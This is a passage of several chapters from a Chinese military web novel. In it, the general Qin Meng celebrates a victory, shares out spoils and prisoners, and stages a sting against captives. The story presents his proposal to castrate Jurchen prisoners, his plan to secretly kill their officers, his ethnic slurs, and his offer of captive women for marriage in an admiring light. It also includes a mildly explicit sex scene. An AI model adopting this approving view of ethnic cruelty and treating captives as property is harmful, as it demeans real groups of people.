处理完军务,秦猛深吸一口气,将杀伐之气敛去,换上温和的笑容,这才大步回到后院。
当他卸甲、洗漱,换衣,回到堂屋时,桌上已摆好热腾腾的饭菜,陈月娘、林婉儿、秦小芸都在等候。
“哥,就等你了,你又在忙啥?”秦小芸心直口快。
“一点军务,已经处理好了。”
秦猛坐下,接过陈月娘递来的饭碗,看着满桌菜肴,心中一暖,“好香,还是家里饭菜香。”
席间气氛温馨,菜肴可口,几人边吃边聊。话题很自然地转到了草原大捷和缴获的无数牛羊上。
秦小芸年纪小,好奇心重,眨着眼睛问道:“哥,草原上现在是什么样子啊?是不是到处都白茫茫一片,很好看?”
林婉儿也露出感兴趣的神色,她久居中原,对北地风光知之甚少。
秦猛咽下口中的饭菜,笑了笑,语气却带着一丝凝重:“好看?冬天的大草原,可不是游山玩水的地方。
一眼望过去,确实全是白的,积雪能没过膝盖,狂风卷着雪沫子,打在脸上像刀子一样。天地间除了白色,几乎看不到别的颜色,空旷得让人心慌。白天还好,到了夜里,寒气能渗进骨头缝里,若是没有充足的准备和避寒之处,人在外面待一宿就能冻成冰坨子。”
他顿了顿,回想起行军作战的艰辛,无奈一叹:“这次冬季出击,将士们吃了不少苦头。
要在雪地里潜行,要顶着寒风冲锋,战马都跑不快,箭矢也受影响。狼戎人仗着熟悉地形,还想利用积雪陷阱,幸亏我们准备充分,斥候得力,就是那个石地虎,才没让他们得逞。”
“是他啊?”秦小芸,王艳等人惊呼。
陈月娘听着,虽然知道丈夫已经平安归来,但还是忍不住心疼,默默给他碗里夹了块肉
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秦猛看出她的担忧,话锋一转,语气变得沉稳而自信:“不过,经此一役,黑狼部这个心腹大患已除,女真三部联军也遭重创,今年秋冬,咱们这片边境一线,能安稳不少。”
饭桌上的话题又渐渐转向家常,气氛重新变得轻松起来。
饭后,收拾掉碗筷,林婉儿拉着秦小芸散去。
秦猛与陈月娘回到婚房,红烛摇曳,映着两人身影。
当关上门,隔绝了外面的世界。
陈月娘再也忍不住,扑到秦猛怀里,紧紧抱住他,声音闷闷的:“官人,我知道你本事大,可每次你出去,我这心里总是七上八下的……”
秦猛轻抚她的青丝,嗅着发间清香,柔声道:“傻月娘,我这不是好好的回来了吗?你看,一根头发都没少。”
他抬起妻子的脸,指腹擦去她眼角隐隐的湿意,“让你担惊受怕,是夫君不好。”
“不许你这么说。”陈月娘捂住他的嘴,眼神坚定又温柔,“你是做大事的人,我是你的妻子,等你、盼你、替你守着这个家,是应该的。我只是……只是怕你太累,怕你受伤不肯说。”
烛光下,妻子娇美的脸庞带着纯粹的关切,秦猛心中最柔软的地方被触动。
他低头,吻了吻她的额头,然后是鼻尖,最后覆上那柔软的双唇。这个吻带着征尘洗净后的清爽,更带着积攒数日的思念与深情。
良久,唇分。陈月娘脸颊绯红,眼波流转,依偎在秦猛胸前,听着他有力的心跳,感到无比的安心。
“月娘,”秦猛拥着她,在耳边低语,“等草原上的事情稳定些,我真的带你去。让你看看蓝天白云,风吹草低见牛羊的景象。那里虽然荒凉,却也壮阔。”
“嗯,官人去哪儿,我就去哪儿。”陈月娘轻声应着,声音里充满了信赖。
夫妻二人耳鬓厮磨,说着体己话,日间的疲惫和紧张在温情中渐渐消散。
红烛噼啪轻响,帐内温度悄然升高。
秦猛的手掌带着灼热的温度,熟练地探入妻子怀里,抚过细腻的肌肤。
陈月娘身子微颤,发出一声娇吟,却没有丝毫抗拒,反而更紧地贴向丈夫,主动回应着他的亲吻,小手依旧生涩地解开他的衣带。
衣衫渐褪,呼吸交织。
小别胜新婚,分别数日的思念,化作了最直接的渴望。
秦猛将妻子轻轻放倒在铺着厚厚毛皮的床榻上,健硕的身躯覆盖上去,烛光将两人纠缠的身影投在墙上。
“官人……”陈月娘媚眼如丝,轻声呼唤,带着无尽的诱惑与许可。
秦猛低吼一声,再无顾忌,带着凯旋的豪情与对妻子的思念,彻底融入了那温暖的港湾。
红烛摇曳,一室春光,只剩下压抑的喘息与满足的喟叹,诉说着小别胜新婚的浓情蜜意。
窗外寒风依旧,屋内却春意盎然……
第298章 庆功封赏,雷霆清扫
三日后,飞虎卫一号临时驻地,人声鼎沸,热火朝天。
——盛大的庆功宴如期举行。
数十口巨大的行军锅支在棚子内,烈火熊熊,炖煮着大块大块的猪肉、羊肉,化冻后精心烹制的马肉。空气中弥漫着浓郁诱人的肉香味。
铁血军寨未来“天下楼”的大厨程河,果然不负众望,带着他十多名得力徒弟和百余名学徒,将临时搭建的军营火房变成了展现技艺的舞台。
自从在秦猛婚宴上大放异彩,程河便认定小南河堡(铁血军寨)潜力无限,毅然决定举家迁回,并得到了军寨的鼎力支持,正准备大干一场,开办一家带有官方背景的大酒楼。
此次赵平、周扬亲自邀请,他自然是求之不得,倾尽全力。将士们平素里吃惯了淡出鸟来或咸了吧唧的粗犷军粮,此刻能品尝到如此美味,无不欢呼雀跃,对程大厨赞不绝口。
按照军功嘉奖,飞虎卫全军八千将士,连同此次负责运输的民夫辅兵,人人有份,不仅能敞开肚皮吃饱,每人还能分得两三块奶酪、两三斤实实在在的肉食,喜悦之情溢于言表。
更实在的是,此战缴获的牛羊马匹,部分将按比例折算成银钱,陆续发放到每位士卒辅兵手中,这才是真正能揣进怀里、寄回家中的实惠。
中军大帐内,气氛更是热烈。
赵起高坐主位,左手边是以赵平、秦猛为首的核心将领,周扬、张富贵、王铁山、常勇、王善、鲁真、林怒、阮大兄弟等将依次排开。
右手边则是严风、吴斌、南河城寨知寨魏文、副将李雄,狂风副将王魁,以及镇岳营副将侯山、雷牙营副将陈良、袁飞、徐强等将领。
众人推杯换盏,高声谈笑,回顾着草原上的一场场恶战,探讨着战术得失,总结自身和**的优劣,帐内充满了胜利者的豪迈与喜悦。
酒过三巡,菜过五味。
最重要的环节到来——战利品分配。
账房捧着厚厚的册子送至赵起案几上。
赵起翻开册子看了看,挥手压下杂音,高声宣布:
“此战缴获,分作两部清算!其一,破黑狼部所获。
依战前约定,分成十成,一成牛羊和马匹送至帅司,两成战马,六成牛羊牲口归陷阵营。
剩下六成战马,三成牛羊,归飞虎卫各营,按此战功劳大小分配,账目清晰,已无异议!”
帐中响起一片赞同之声,这部分早有定论,无人质疑
未参战的镇岳营、雷牙营副将,他们收到赵将军令,赶来领取战马,牛羊,犹如天上掉馅饼。此刻,笑得合不拢嘴,哪里还会反对?
“其二,击溃女真六部联军之缴获!”赵起声音陡然拔高,“经我与诸将议定,分配如下:
参战主力,亲卫营、陷阵营,各得两成半;狂风营、雷霆营,各得一成半;剩余两成,由飞虎卫各营,按功绩大小均分!此部分缴获,无需上缴帅司,皆留我军中,以资军用!”
帐内先是一静,随即爆发出更大的声浪和欢呼。
这个分配方案极为丰厚,尤其是那两成分给各营,意味着即便是未参战也能获得前所未有的重赏。
在座将领们个个喜形于色,这意味着士卒的犒赏、军械的更新、战马的补充都有了充足的保障,飞虎卫的实力与士气必将再上一个台阶。
然而,端坐于赵起下首的秦猛,在喜悦之余,眉宇间却锁着一丝不易察觉的忧愁。
无他,缴获的牲畜数量实在太过庞大,如何圈地建牧场妥善安置、饲养、防疫,乃至最终转化为持久的效益,成了一个甜蜜却沉重的负担。
他正准备趁大家伙都在的机会,提出后续的牧场、作坊建设计划,请求上司和友军援助。
赵起却已开始了下一项议程——嘉奖有功之臣。
“秦猛!”赵起面色一肃,声如洪钟。
“末将在!”秦猛下意识地应声而起,身姿挺拔。
赵起目光扫过全场,尤其在严风、吴斌、魏文这三位老资格正将脸上稍作停留,看到他们眼中闪过的羡慕与对后来者超越的感慨。
他这才沉声道:“你是我虎贲军后起之秀,杰出的将领!从去年崭露头角,对战**连战连捷,杀敌甚众。
此次雪原大捷,更是从年前便开始筹划奇袭黑狼部,斥候侦查、计划制定,居功至伟!鉴你近来屡立奇功,本将特擢升你为飞虎卫统领,不日便上报帅司。诸位,日后当称秦统领!”
“多了这批俘虏落户,铁血军寨定能升格为大寨。”赵起看着秦猛笑了笑,透露出另一个信号。
“谢将军栽培!末将定当竭尽全力,不负厚望!”秦猛昂首领命,心中了然,这便是赵起之前所说的“惊喜”。
不说寨子升格为大型军寨。
飞虎卫统领,这是边军一卫之中仅次于主将的实权职位,官至从五品,是迈向朝廷偏将的关键一步,更有权组建五百人的亲卫营。
此刻起,秦猛的地位已稳稳超过严风、吴斌、魏文等老将,甚至比资深的赵平权责更重——因为他拥有铁血军寨这块坚实的根基。
紧接着,赵起又一一嘉奖诸将:“赵平、张富贵、鲁真……尔等冲锋陷阵,斩将夺旗,功不可没!
鲁真,正式擢升为部将!林怒,杀敌有功,升为部将!袁飞、徐强,杀敌有功,亦升部将!
石地虎、陈石,此战侦察地形、刺探军情,功勋卓著,同升部将!陆晓飞,升为队将!……”
一时间,陷阵营与参战各营共计有二十余名作战勇猛的军官得到擢升,更是赵将军亲口提拔。
帐内气氛达到高潮,道贺声不绝于耳。
与此同时,就在中军大帐欢庆诸将升迁之时,军寨暗处,一场精心策划的“清
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剿”行动悄然展开。
根据陈麻子连日来严密监控获得的情报,以巴特为首的几名死硬分子,虽暂被军威震慑,但贼心不死,仍在暗中窥伺,等待时机。
庆功宴期间,守卫看似松懈,或许是他们可能按捺不住的时候,又或许等赵将军走后搞事。
秦猛知道他们当出头鸟,已经下令打出头鸟。
不远处,阴影中,陈麻子对秦小六和乌维使了个眼色。
计划,开始了。
秦小六精心挑选的几名手下,此时已混入俘虏之中。他们穿着破烂的皮袄,脸上抹着泥污,乍看与周围疲惫麻木的俘虏别无二致。
其中一人,低头快步行走,看似无意却结结实实地撞在了哈森身上。
“你妈了个巴子!没长眼睛吗?”**者用女真话厉声叫骂,随即又用生硬的狼戎语啐了一口。
“呸!黑狼部的废物,滚远点!要不是你们没用,半日便被周军灭族,我们怎么会跟着倒霉?”
哈森本就因战败被俘和连日压抑而怒火中烧,这挑衅的话语和撞击如同火星掉进了油桶。
“**!你说什么?”他一把揪住对方的衣领,目露凶光。
巴特比哈森谨慎,他下意识地想阻止,但目光迅速扫过四周——远处的欢庆声似乎吸引了守卫的注意力,岗哨上的身影也有些心不在焉。
他心念电转:这是个机会,正好可以试探一下周军的虚实,若真能闹起来,引发混乱,说不定还能趁乱树立威信,为日后脱身做准备。
贪念和侥幸压过了谨慎理智,他眼中凶光一闪,低吼道:“还等什么?阿尔斯,教训他们!”
顿时,七八个人扭打在一起,骂声、吼声此起彼伏,场面混乱,附近毡房巴特同党和交好的狼戎人纷纷来帮忙,待命的假女**及时冲出,临时安置在这片区域的女**竟也加入。
就在斗殴场面扩大,混乱加剧,巴特等人以为得计之际——
“放肆!营中胆敢斗殴,想**吗?”
一声暴喝如惊雷炸响。秦小六如猛虎出闸,带着一队全副武装、如狼似虎的军士从一侧的营帐后猛冲出来。
几乎在同一时间,乌维也带着一群壮汉从另一侧完成包抄,瞬间将斗殴的双方以及核心人物巴特全部围在中间,刀剑出鞘,寒光凛凛。
巴特等人见势不妙,还想反抗或辩解,但秦小六和乌维哪里会听?手下人出手狠辣精准,迅速将几人打翻在地,用牛筋绳捆得结结实实。
“放开我!是他们先挑衅的!”巴特挣扎怒吼。
“哼。”秦小六冷笑,嘲讽地道:“巴特,你们几人密谋作乱真当我等不知道?带走,严加看管!”
巴特等人闻言,如遭雷击,面如死灰,直到此刻才明白,他们的一举一动早已在别人的监视之下,所谓的“机会”,不过是自以为是罢了。
第299章 狠计惊帐,牧场之谋
巴特、哈森及同党,这些不过是臭鱼烂虾,边角料罢了,真正的勇士早就第一时间战死沙场。
秦猛从来就没有把他们放在眼中。昨天听到暗部汇报,安排陈麻子去解决,就算是给面子了。
连这几个丧家之犬都解决不了,暗部没必要存在。
幸好,陈麻子等人的策划非常到位,行动干净利落,迅速将这几颗毒瘤从安置营中清除,队伍以抓捕斗殴人员为由,并未引起大的骚动。
消息很快传到中军大帐,亲兵悄声禀报给了秦猛。秦猛面色不变,只是微微颔首,眼中闪过一丝寒芒,随即又融入眼前的欢庆气氛中,继续与诸将谈笑风生,祝贺勉励鲁真等将。
封赏完毕,笑声渐止,赵将军正说起此次抓获的俘虏分配事宜。
这玩意儿不像牛羊战马那般是纯赚的,毕竟这群会养马的人,不仅得管饭、还要派人盯着,更要防范**,说白了就是个烫手山芋。偏偏这草原人照料马匹有独到之处,必须得有。
秦猛看准时机,起身汇报,声音洪亮地压过了帐内的零星议论:
“将军,诸位,我有话说,就在刚才,收到消息!”
他成功吸引了所有人的注意,“安置区域,狼戎俘虏与女真俘虏打了起来,差点闹出营哗!经过初步调查,是女真俘虏不守规矩,越界乱跑,撞到狼戎人,从而引发起双方殴斗!”
他这话既是断章取义,也是实话实说,接着便图穷匕见:“这帮女**在草原上蛮横霸道惯了,桀骜不驯。
如今主动归降服成了俘虏,人多还特别抱团,以后肯定是麻烦不断,少不得惹是生非。
依我看,长痛不如短痛,干脆把他们全部**掉,从而绝了这雄性好斗的根子,以绝后患!”
“嘶——”
此话一出,偌大的中军大帐顿时鸦雀无声,落针可闻。不少人倒抽凉气,甚至夹紧了双腿。
几乎所有将领的目光都瞬间聚焦在秦猛身上,不少人只觉得后背一阵发凉,这主意也太狠了!
赵起和赵平两人脸颊肌肉同时狠狠抽搐了一下。
为啥他俩反应如出一辙?
只因在返程路上,赵平就向赵起汇报过,秦猛对女**有种根深蒂固的厌恶和偏见,甚至提过实行连坐,跑一人,杀十人的狠辣手段。
赵起也私下找秦猛谈过话,秦猛当时就直言女真部落天性卑劣,欺软怕硬,对汉人奴工更是极其残酷,“两脚羊”这词经常挂在嘴边。
赵平到底是老资格将领,考虑更周全,他没有直接驳斥秦猛的提议,而是点出实际困难:“秦知寨,上千号俘虏,全部**,这过程中得死伤多少?
万一走漏风声,帅司肯定会插手,甚至被朝中那些言官或者有心人知道,咱们飞虎卫‘**俘虏’的骂名可就背定了,于大局不利啊!”
“这个嘛!赵统领所言极是,是末将考虑不周。”秦猛从善如流,话锋转得极快,退而求其次。
“那就以后再说。不过,首恶必除!那个女真头人纳合拔都,赵大哥你阵斩了他亲兄弟,这已是不死不休的血仇!
还有,这百夫长,当户等军官,都是隐患,最好能寻个由头,秘密处理掉。或是转移到他处,免得将来一有风吹草动,他们就鼓动**。”
这下,他的建议就变得非常中肯且切中要害了。
做事稳重的周扬立刻沉声附和:“不错!上次袭击马场,我亲眼所见,女**凶悍,极为排外,老人、女人,甚至孩子都会暴起伤人。
秦知寨说得对,对此等顽敌,绝不能有妇人之仁!他推行的军事化管理,有推广的必要。”
秦猛扫视帐内诸将,神色严肃地总结道:“诸位要牢记,在没有被彻底汉化、真心融入我大周之前,非我族类,其心必异!
对敌人仁慈,就是对自己兄弟的残忍!你今日放过他们,他日这群白眼狼可不会放过咱们!就比如现在草原各部落,谁不是虎视眈眈?”
赵起深吸一口气,最终拍板:“各营接收俘虏后,务必严加约束,不得出错!女真头人及军官,全部甄别出来,押送幽州大营处置。”
“至于其他俘虏,”他看向各位将领,“各营都分了不少马匹,正好给你们补充一批养马的劳力。”
经过简单商议,千余名女真俘虏被亲卫营、狂风营、雷牙营、雷霆营、镇岳营迅速瓜分。
没人敢把女真俘虏留给秦猛,大家都心照不宣——搞不好,明天就被他找个理由全“咔嚓”了。
而与铁血军寨毗邻的磐石营,则会去挑一批相对“温顺”些的狼戎人当雇工,协助照料马匹。
等俘虏分配事宜敲定,秦猛看了看,再次起身,抱拳道:“将军,末将还有两件事禀报。”
“讲!”赵起眼皮下意识一跳,却还是点头回应。
“其一,是关于此次俘获的狼戎女性。经过我军寨统计,成年女子和即将成年者,合计近四千人。”
秦猛把老保长跟他分析的人口问题搬了出来,“这批狼戎人若能在军寨落户,慢慢融入,将来就是我大周百姓。
北疆荒地众多,正需要劳力开垦,她们是宝贵的资源。咱们飞虎卫是正规军,是大周精锐,不是土匪,不能肆意**俘虏,得有个章法。”
赵起、
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赵平、周扬等人纷纷点头,这话说得在理。
秦猛话锋一转,直入主题:“这些女子里头,剔除已经成婚、年纪过大,适合婚配的大概有一千八百人左右。
我秦猛不吃独食,今后,各营将士若有想成家立业、解决终身大事的,都可以来我铁血军寨看看。杜绝强迫,只要双方你情我愿,我绝不阻拦,反而会极力撮合,帮忙操办婚事。”
这话一出,帐内先是一静,随即议论声四起,各位营正、副将的脸上都露出了惊喜之色。
在这地广人稀的边塞,士卒的“个人问题”一直是个老大难,若能成家立业,多生几个娃儿,对稳定军心、增加人口可是天大的好事。
这北地人口一旦上去,以后兵源补充也更有保障。
“好!好啊!”赵起闻言,脸上浮现一抹笑意,连连夸赞:“秦猛你年纪轻轻,就能想到这一层,思虑周详,且顾全大局,值得表扬!”
这提议对他这主将也是大有裨益,自然默认支持。其他将领更是喜形于色,哪有不愿意的道理?
“其二,”秦猛继续说道,“此番缴获,我军寨牛羊牲畜数量巨大,虽是财富,但也过于扎眼,看守压力极大。
为长久计,末将计划尽快择一水草丰美之处,建立正式牧场。并兴办皮货、肉、奶制品作坊,归纳为军需产业,优先提供给飞虎卫各营。
但这需要大量可靠的人手。恳请将军调派一部分人马,协助看管牲畜群并圈地,筹建牧场。”
赵起正在兴头上,闻言毫不犹豫,当场拍板:“准了!周扬、李雄,着你二人各率五百精锐,暂听秦统领调遣,全力协助筹备牧场!”
“末将领命!”周扬、李雄起身应诺,声如洪钟。
“谢将军。”秦猛大喜过望,连连道谢。随后端坐回椅子上,不再言语,其实还有第三件防止女真报复并未说,他不想把风头都给出了。
果然,下一刻——
雷霆营正将吴斌起身,拱手说道:“将军,诸位,狼戎,女真两族吃了大亏,不会善罢甘休。末将提议,幽州虎贲军边防必须加强……”
随着吴斌的抛砖引玉,在座众人开始商议此事。根据草原跟大周边境实际情况,各抒己见。
在争执的气氛中持续到下午。
最终,赵起根据众将议论,做出了拍板决定。不仅要通知帅司,发布公文,加强各州边防,而且幽州大营将司往前靠,方便指挥调度。
随着赵将军一声令下,各营将领这才心满意足、兴高采烈的告辞,去清点分配到的战利品。
而秦猛,却被赵起单独留了下来。
第300章 分赃喧沸,藏械谋深
飞虎卫副统领周扬面无表情,将一份誊抄清晰的账册递给镇岳、雷牙、磐石三营的正副将领传阅。
当“战马两万一千余匹,牛羊牲口三万八千头”这数目映入眼帘时,即便早有心理准备,魏文、侯山、陈良等将仍倒抽冷气,瞳孔骤缩。
他们知道此番雪原大捷,缴获极丰,却万万没想到,竟丰厚到如此骇人听闻的地步!
周扬冰冷的目光缓缓扫过众人,声音不高却带着寒意:“此等缴获是将士们以命相博换来。
丑话说在前头。将军严令,外人知我军缴获颇丰是一回事,具体数目,绝不可泄露半分!谁敢多嘴乱说,引来祸端,休怪军法无情。”
他平日随和,此刻发起怒来,那股战场滚出来的煞气,压得几位将领后背发凉,连忙肃容保证:
“周统领放心!我等深知利害,定然守口如瓶!”
“闷声发大财的道理,我等岂能不知?断不会泄露半个字!”
“如此最好。”周扬神色稍微缓和,挥手道:“按事先议定的调拨份额,去领你们的东西吧。张富贵、李山,劳烦两位带各位将军去清点。”
接下来的分发过程,远非一帆风顺。
尽管收获巨大,但马匹有良驹有驽马,牛羊有肥壮有瘦弱,谁不想为自己麾下的兄弟多争取些好牲口?
尤其是在分配那些神骏异常的草原良驹时,几位将领更是争得面红耳赤,几乎要挽袖子动手。
“侯山!上次分装备你就占了先,陈良,朝廷拨马你营最多,这次这匹‘乌云盖雪’必须归我磐石营!”
“李雄,上次我的人冲锋在前,死伤最多,合该得此好马!”
“就是,我镇岳营拱卫大营,没有功劳也有苦劳啊!”
……
张富贵和李山在一旁忙着打圆场。
周扬则抱着胳膊冷眼旁观,只在这些争执过于激烈时,才冷哼一声提醒,让场面瞬间降温。
就在这些有头有脸的将军为了牲口争吵得面红耳赤的时候。中军大帐内,最后一名亲卫退了出去,厚重的帐帘落下,将外面的喧嚣隔绝。
烛火摇曳,映照着赵起、赵平和秦猛三人凝重的脸庞。
赵起身体微微前倾,压低声音问道:“秦猛,途中也不方便问,此刻这里没有外人,你跟我交个底,你那个竹筒雷……能否批量生产?”
“回将军,可以批量生产。”秦猛对此早有准备,回答得斩钉截铁。
“好!能批量生产就好!”赵起刚毅的脸上瞬间绽放笑容,一拳轻轻砸在案几上。
一旁的赵平也是兴奋地握紧了拳头,眼中精光闪烁。
那夜雪原上,竹筒雷惊天动地的轰鸣,以及人仰马翻、残肢断臂横飞的恐怖场景,已深深刻入他们脑海。
这等神兵利器,能批量生产,又掌握在自己手中,无疑是未来战场上决定胜负的关键筹码。
秦猛见二人欣喜,唯恐被要求无限量提供,立刻泼上必要的“冷水”,他面色肃然地补充:“将军,可以量产不假,但耗时长,制作困难。
关键在于硫磺和硝石供应必须充足且品质上乘。此外,**配比需极为精细,失之毫厘,一旦出错,便可能在生产过程中自毁伤人。
原材料的提纯亦是个老大难,非熟手不能为。最后,填充的铁针铁屑若不足或不合格,威力也会大打折扣,比寻常爆竹威力大不了多少。”
“此等神物能量产,艰难才是正理。”赵起非但没有失望,反而更加的重视,郑重叮嘱。
“你得传令工坊,宁可慢,不可乱,安全第一,威力必须保障!一切按作坊最稳妥的章程来。”
“末将明白。”秦猛应下,略作踌躇,还是进言道:“将军,竹筒雷威力虽大,但工艺远未成熟,稳定性有待提高。
末将恳请将军,暂勿将此事上报帅司,待我等进一步改进,能量产且确保安全时,再行禀报。
眼下,正可作我飞虎卫一支奇兵,关键时刻的独门**锏。就如同当初的双马镫、马蹄铁那般。”
赵起是沙场老将,深知怀璧其罪的道理,一种未成熟的新式武器过早暴露,不仅可能被上官索要配方工匠,更可能引来各方觊觎,甚至内部混乱。
他毫不犹豫,重重点头:“秦猛,你虑的是。此事出你口,入我二人之耳,绝不上报帅司!你尽管放手施为,所需硫磺、硝土,我亲自想办法,尽量多筹措,竹筒雷多多益善。”
解决了心头一件大事,赵起神色稍松,又道:“你不提我还忘了,这马蹄铁与双马镫,如今产量已足,此次我便会呈文上报帅司,请求在虎贲军中普及,让各军派出铁匠来学习。”
“此乃利军利国之事,末将没意见。”秦猛知道这两样东西技术门槛低,瞒不住,爽快表态。
但他眉宇间仍有忧色:“只是……一旦普及,就没办法再保密,恐草原胡虏很快便能学了去。”
赵平眼中闪过厉色,恶狠狠地道:“此事我与将军已商议多次。那就立下严令,战时务必不能让马尸落入敌手!若战况不利,便如摧毁床**一般,不惜代价,先斩马腿!违令者,杀无赦!”
“也只能尽力拖延了。”赵起叹道,“此次雪原作战,双马镫、马蹄铁效用显著,迟早瞒不住。
既如此,不如尽快装备我军,提升整体战力。即便将来胡虏学了去,我军已熟练掌握,亦不惧他。”
“将军高见。”秦猛点头称是。
赵平笑着拍了拍秦猛肩膀:“所以啊,秦老弟,你就多费心,再捣鼓些更好的玩意儿出来!
就算双马镫被学去了,咱们还有竹筒雷,有更多新更好的东西,永远让那群**别去挨打!”
“我尽力而为……”秦猛
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苦笑拱手。
接着,秦猛又向赵起汇报了**的改良思路、苏珩等人的职务安排以及芦苇堡的重建计划。
一切议定,已快要天黑了。
“秦猛,前些时日,幽州城百姓**,是否与你有关?”赵起见秦猛要走,突然冷不丁地问道。
从草原回来后不久,他就收到幽州城的情报。不单单是崔文远被逼无奈,抓住狼戎使者斩首示众,帅司好像成为聚拢民众的幕后推手。
他清楚吴大帅不可能这样做,莫名想到了秦猛。也只有这位有这种胆量和暗中策划的能力。
“没有,不是我。”秦猛没有任何犹豫,就否认了。脸不红心不跳,仿佛这一切跟他无关。心里却补充了一句,是幽州情报头子们做的。
“我也听到了传闻,说是崔文远的仇人赵开明所为。”秦猛几乎不假思索,便供出了自己的幕僚。反正赵开明从任职后都是以假名来示人。
“原来是这样。”赵起将信将疑。
“那是自然,崔老鸟坏事做尽,暗处仇家还不少嘞!”秦猛语气轻松随意,犹如是一个局外人。
“将军,末将公务繁忙,就先告辞了。”
他拱手辞别赵起,带队踏着暮色返回铁血军寨。
此刻,他吹起口哨,心情颇为舒畅。
明面上,今日是庆功封赏,喜气洋洋;暗地里,军寨的隐患已被清除,未来的牧场、工坊,乃至将士们的安家大计,都已悄然埋下种子。
这边秦猛高兴,许多人比他更高兴。
就在他被赵将军单独留下来,商议竹筒雷等事儿。
各营将领分配战利品也到了尾声。
由于此次牛羊马匹太多,争吵持续时间不长。最终,在各退一步和周扬的仲裁下,份额总算敲定。
一些特别出色的种马、种牛,则被周扬以“统一育种,利于牧场长远发展”为由,顺势留在了铁血军寨。
对此,众将虽有些眼热,但也无人反对——毕竟以秦猛一贯的作风,不会吃独食,这牧场若真建起来,自行放牧边陲,大伙都能受益。
狂风、雷霆、雷牙、镇岳四营众将笑得合不拢嘴。
各营将士驱赶着成千上万的牲口,人喊马嘶,声响震天,自然惊动了整个铁血军寨的寨民。
人们纷纷**过来围观,或惊叹,或帮忙,脸上满是好奇与兴奋。
孩童们在人群缝隙中钻来钻去,指着高头大马发出欢叫。
而在狼戎俘虏居住的那几片毡房区,气氛却略显压抑。
不少人透过毡房的缝隙,偷偷望着外面属于他们昔日财产、如今却易主的牛羊,眼神复杂,有哀伤,有麻木,也有一丝不易察觉的愤恨。
黑狼部长老贾德,这位年近古稀的老人怕极了,他拖着颤巍巍地行走在各个阿寅勒(家族营地)之间,用苍老而睿智的声音不断安抚着族人。
第301章 老者之心,将军之诺
白天爆发的斗殴事件!
动静闹得不小,让贾德长老心弦紧绷,生怕周军会因此误会而大作文章,从而进行清洗。
好在,他这种担忧并没有发生。
胜利者瓜分战利品,却会有很多族人心生愤恨。
他挨家挨户地劝说,举例部落入境劫掠钱粮,汉人情绪更加激烈,强调秦将军的仁德和规矩,要求族人安分守己,接受部落战败的事实。
此刻,这位饱经风霜的老者望着曾经属于部落的牛羊牲口,被人瓜分殆尽,心中波涛起伏。
他半个身子快入土的人,不是卖部族而求荣。尽管有心让亲眷过得更好,却不是最主要的。
贾德,自懂事起随部落迁徙,见识过草原的弱肉强食,也随长辈做过皮货生意,抵达过最后辉煌的大周腹地,窥见过南国的繁华与文明。
他内心仰慕那种定居、农耕、读书明理的生活,羡慕那些城内的孩童无忧无虑的玩闹嬉戏。认为那才是部落长久安宁,发展壮大之道。
奈何,好战的德克萨带领部落差点走向消亡。
“虽然战败为俘,但或许……这是融入南国的机会,是长生天给予黑狼部落的最后一次转机?”
他默默思忖,“这位秦将军看似强硬、凶残,下手毫不手软,却明事,理讲规矩,重承诺。
若他真能如他所说,教我们耕种土地,修建房屋,让孩子们读书识字,逐渐融入成为自己人……
那我这把老骨头,赌上性命信他一回,又如何?
学会了种地,看天吃饭,人力放牧,双管齐下。总好过在草原上逐水草而居,时时担心白灾、黑灾,更是担心随时被更大的部落吞并……”
“希望族人能够明白这一切!”一种混杂着忧虑、希望和决然的复杂情绪,在他心中蔓延。
铅灰色的云层压得很低,鹅毛大雪从午后飘到入夜,把附寨的毡房和远处的军寨都裹上了层白。
贾德长老的拐杖戳在积雪里,发出“咯吱”的闷响,身后是最后一户族人紧闭的毡房门,门内的老人愤懑与不解,女人眼中的怨恨像寒气似的,从门缝里钻出来,缠在他佝偻的背上。
他抬头望了眼被墨色浸透的天,曾经属于黑狼部落的牛羊早已被瓜分干净,只剩下空荡荡的畜栏,族人成为战俘,在风雪里透着凄凉。
可胸腔里翻涌的不是痛惜,而是比风雪更烈的挣扎——是守着草原旧俗怨到死,还是赌上这把老骨头,跟着那位秦将军,搏一个“定居耕种、孩童读书”的未来?
许多族人不理解,被仇恨蒙蔽双眼。
这抉择太重,压得贾德喉咙发紧,一阵剧烈的咳嗽突然冲上来,让他不得不扶着毡房的木柱,弯下了几乎要折的腰,挪动着走向毡房……
……
军医局内,空气中弥漫着浓重的草药味和血腥气。
原本因伤员陆续痊愈归队而略显空荡的房舍,此刻因百来个伤兵的涌入,又重新变得热闹。
呻吟声、鼓劲声、交谈声此起彼伏。
医护人员脚步匆忙,显得异常忙碌。
秦猛返回军寨后,径直来到了这里。他高大的身影出现在门口,原本嘈杂的屋内顿时安静了不少,许多伤兵,挣扎着想坐起来行礼。
“都躺着!好好休息!”
秦猛声音洪亮,带着不容置疑的关切。
他大手一挥,身后亲兵拎着十几个硕大的食盒鱼贯而入。
“伙房刚炖好的肉,蒸好的包子馒头,诸位弟兄辛苦,先吃饱肚子,好好养伤,伤好了再喝酒。”
他亲自接过一碗碗热气腾腾、油光闪闪的炖肉和一个个扎实的馒头,挨个送到伤势较重的士兵床边。
遇到手臂受伤不便的,他还示意亲兵或医护帮忙喂食。
“将军,这……”一个年轻士兵看着碗里大块的肉,眼眶有些发红。
“吃吧,”秦猛拍了拍他的肩膀,声音放缓,“你们为寨子壮大而流血拼命,这是应得的。
放心,你们的杀敌奖赏,受伤补贴,我秦猛在此保证,一个铜板都不会少!只管安心把伤养好!”
他的话简单直接,却像重锤敲在每个伤兵的心上。
百余名轻重伤兵,无论原本隶属秦猛麾下还是其他营,无不感动非常,纷纷挣扎着抱拳、躬身,用各种方式表达着他们的感激和忠诚。
“谢将军!”
“愿为知寨效死!”
这温情而提振士气的一幕,许多伤兵心里踏实——哪怕他们受伤或者残疾,也不会被抛弃。
从军医局出来,秦猛脸上温和的神色稍稍收敛。早已等候在外的诸葛风立刻迎了上来。
他依旧是那副浑身书卷气,却愈发精干的模样,只是近来忙碌统筹,眉宇间带着一丝疲惫。
“将军,”诸葛风低声汇报,“各营战马和牲口等战利品已清点完毕,按例分给了急需的其他营。
另外,此次北上草原,我军寨参战将士,共计阵亡二十三人,重伤致残者七人,轻伤者如您所见,一共九十六人,皆在军医局内。”
听到“二十三人”这个数字,秦猛脚步微微一顿,目光投向远方连绵的营房,沉默了片刻。
他脸上没有太多剧烈的悲伤,更多的是一种深沉的疲惫和已然习惯的凝重。一次次征战,一个个熟悉的名字变成冰冷的数字,心肠终究是磨硬了些。
“哎,两场战役下来,总伤亡百八十人,我这却占据大半,终
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究是新兵。还得练,还得继续征战。”他轻轻叹了口气,对此结果有点不满。
